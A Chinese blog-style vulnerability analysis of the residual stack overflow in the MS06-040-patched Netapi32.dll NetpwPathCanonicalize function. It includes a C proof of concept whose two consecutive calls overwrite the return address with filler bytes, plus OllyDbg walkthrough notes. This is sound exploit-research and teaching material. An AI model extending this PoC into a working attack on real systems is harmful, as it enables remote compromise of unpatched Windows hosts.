MS06-040(CVE-2006-3439) Netapi32.dll补丁漏洞

Netapi32.dll打过补丁之后的程序,在ms06-040漏洞问题上做了修复

之前的漏洞原因在于第二个参数长度未做限制,计算宽字节与0x411比较,导致了输入缓冲区大小可以到0x822,大于分配的空间0x414造成溢出,补丁之后的程序获取第二个参数的宽字节长度,并且与0x207比较,从而限制参数输入长度,防止发生溢出

分析补丁程序的逻辑,其中,第一个参数计算宽字节长度后看是否为0,如果为空,则跳转到loc_71BA4285

然后计算第二个参数长度,并加上第一个参数长度0,如果小于0x207,则wcscat()拼接

程序在这里会将未初始化的缓冲区以及第二个参数(Source)利用wcscat函数进行连接。其实这是一个非常不安全的操作,因为尚未初始化的栈空间的长度是未知的,甚至可能超过起初分配的0x414个字节,然后再与参数二进行连接,就会有缓冲区溢出的隐患。

这里有一个问题需要说明的是,为什么第一个参数指向的字符串拷贝到缓冲区就不会有这个问题,而第二个参数复制进缓冲区就会有隐患呢?

这是因为第一个参数字符串使用的是“wcscpy”进行拷贝的,它会将字符串从缓冲区的起始位置进行拷贝。而第二个参数使用的是wcscat,它会检查缓冲区中的“\0”也就是字符串的尾部位置,然后将新的字符串拷贝到“\0”的位置,最后再加上“\0”作为结尾。

那么现在的问题就是应该如何控制缓冲区的内容和大小。一个简单的做法就是连续调用两次CanonicalizePathName()函数。当第一次调用该函数时,缓冲区第一次被填充并进行字符串连接的操作,当第一次调用结束的时候,恢复栈帧,释放缓冲区空间,此时只要不做任何的`栈空间操作`(比如函数调用),那么原始缓冲区中的内容是不会改变的。而第二次调用时,还会继续对这块缓冲区进行操作,那么此时就会还保留有第一次调用时的数据,于是就存在着溢出的风险。

当程序调用返回后,与edi值(edi=0x0)进行比较,如果为0,则call NetpwPathType函数,此时很可能将栈空间数据破坏掉;而如果返回值不为0,则程序后续会退出。所以需要控制参数输入使得call sub_71BA4288的返回值不为0

查看sub_71BA4288返回部分的代码,当调用计算wcslen(str)后,宽字符长度*2+2个末尾空字节,然后与arg_c进行比较,其中arg_c表示字符串缓冲区字节大小。这里需要保证计算的长度大于arg_c的值,所以在调用时可以设置arg_c的值小一些

编写poc代码

#include <windows.h>

typedef void (*MYPROC)(LPTSTR,...);

#define StrCat_SIZE_1      0x184
#define StrCat_SIZE_2      0x2C0
#define lpWideCharStr_SIZE 0x440
#define StrCpy_SIZE        0x410

int main()
{
 char Source_1[StrCat_SIZE_1];
 char Source_2[StrCat_SIZE_2];
 char lpWideCharStr[lpWideCharStr_SIZE];
 int  arg_8 = lpWideCharStr_SIZE;
 char arg_C_1[StrCpy_SIZE];
 char arg_C_2[StrCpy_SIZE];
 long arg_10_1 = 44;
 long arg_10_2 = 44;

 HINSTANCE LibHandle;
 MYPROC    Func;
 char DllName[] = "./netapi32.dll";
 char FuncName[] = "NetpwPathCanonicalize";
    // 将当前目录中的netapi32.dll载入内存
 LibHandle = LoadLibrary(DllName);
 if (LibHandle == 0)
 {
     MessageBox(0, "Can't Load DLL!", "Warning", 0);
  return 0;
 }
 // 获取NetpwPathCanonicalize()函数的地址
 Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
 if(Func == 0)
 {
     MessageBox(0, "Can't Load Function!", "Warning", 0);
  FreeLibrary(LibHandle);
  return 0;
 }
    // 用字符a填充第一次函数调用时,wcscat连接的内容
 memset(Source_1, 0, sizeof(Source_1));
 memset(Source_1, 'a', sizeof(Source_1)-2);
    // 用字符b填充第二次函数调用时,wcscat连接的内容
 memset(Source_2, 0, sizeof(Source_2));
 memset(Source_2, 'b', sizeof(Source_2)-2);
    // 用0填充两次函数调用中,wcscpy复制的内容
 memset(arg_C_1, 0, sizeof(arg_C_1));
    memset(arg_C_2, 0, sizeof(arg_C_2));
    // 连续调用两次NetpwPathCanonicalize()函数
	// 第一次分配的缓冲区大小为1,第二次为arg_8
 (Func)(Source_1, lpWideCharStr, 1    , arg_C_1, &amp;arg_10_1, 0);
 (Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &amp;arg_10_2, 0);

 FreeLibrary(LibHandle); 
 return 0;
}

运行Release版,程序会报错缓冲区溢出,地址位于0x62626262,即返回地址被0xb填充

使用OD载入程序进行动态调试,首先执行并进入到main函数,在LoadLibraryA执行后,可以看到netapi32.dll已经被加载

在字符串连接的位置0x71BA42D2处下断点

执行后查看栈内容,从0x12EA48开始都被复制为a

第二次执行到断点处,字符串b紧接着a被连接过来

执行到返回指令处retn时,返回地址变为了0x62626262

您可能还喜欢...